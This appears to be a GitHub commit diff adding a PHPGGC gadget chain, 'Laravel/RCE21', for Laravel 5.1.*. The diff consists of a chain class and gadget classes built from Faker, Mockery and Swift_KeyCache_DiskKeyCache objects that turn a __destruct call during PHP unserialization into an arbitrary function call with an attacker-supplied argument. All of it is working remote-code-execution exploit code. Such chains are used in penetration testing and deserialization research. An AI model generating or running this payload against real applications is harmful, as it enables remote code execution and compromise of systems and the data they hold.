File tree 2 files changed +79
-0
lines changed
gadgetchains/Laravel/RCE/21 2 files changed +79
-0
lines changed Original file line number Diff line number Diff line change
1
+ <?php
2
+
3
+ namespace GadgetChain \Laravel ;
4
+
5
+ class RCE21 extends \PHPGGC \GadgetChain \RCE \FunctionCall
6
+ {
7
+ public static $ version = '5.1.* ' ;
8
+ public static $ vector = '__destruct ' ;
9
+ public static $ author = 'fallingskies ' ;
10
+
11
+ public function generate (array $ parameters )
12
+ {
13
+ $ function = $ parameters ['function ' ];
14
+ $ parameter = $ parameters ['parameter ' ];
15
+
16
+ return new \Swift_KeyCache_DiskKeyCache (
17
+ $ function ,
18
+ $ parameter
19
+ );
20
+ }
21
+ }
Original file line number Diff line number Diff line change
1
+ <?php
2
+
3
+ namespace Faker
4
+ {
5
+ class DefaultGenerator
6
+ {
7
+ protected $ default ;
8
+
9
+ public function __construct ($ cmd )
10
+ {
11
+ $ this ->default = $ cmd ;
12
+ }
13
+ }
14
+ class ValidGenerator
15
+ {
16
+ protected $ generator ;
17
+ protected $ validator ;
18
+ protected $ maxRetries ;
19
+
20
+ public function __construct ($ function , $ cmd )
21
+ {
22
+ $ this ->generator = new DefaultGenerator ($ cmd );
23
+ $ this ->maxRetries = 9 ;
24
+ $ this ->validator = $ function ;
25
+ }
26
+ }
27
+ }
28
+
29
+ namespace Mockery \Generator
30
+ {
31
+ use Faker \ValidGenerator ;
32
+
33
+ class DefinedTargetClass
34
+ {
35
+ private $ rfc ;
36
+
37
+ public function __construct ($ function , $ cmd )
38
+ {
39
+ $ this ->rfc = new ValidGenerator ($ function , $ cmd );
40
+ }
41
+ }
42
+ }
43
+
44
+ namespace
45
+ {
46
+ use Mockery \Generator \DefinedTargetClass ;
47
+
48
+ class Swift_KeyCache_DiskKeyCache
49
+ {
50
+ private $ _keys = ['fallingskies ' => ['fallingskies ' => 'fallingskies ' ]];
51
+ private $ _path ;
52
+
53
+ public function __construct ($ function , $ cmd )
54
+ {
55
+ $ this ->_path = new DefinedTargetClass ($ function , $ cmd );
56
+ }
57
+ }
58
+ }
You can’t perform that action at this time.
0 commit comments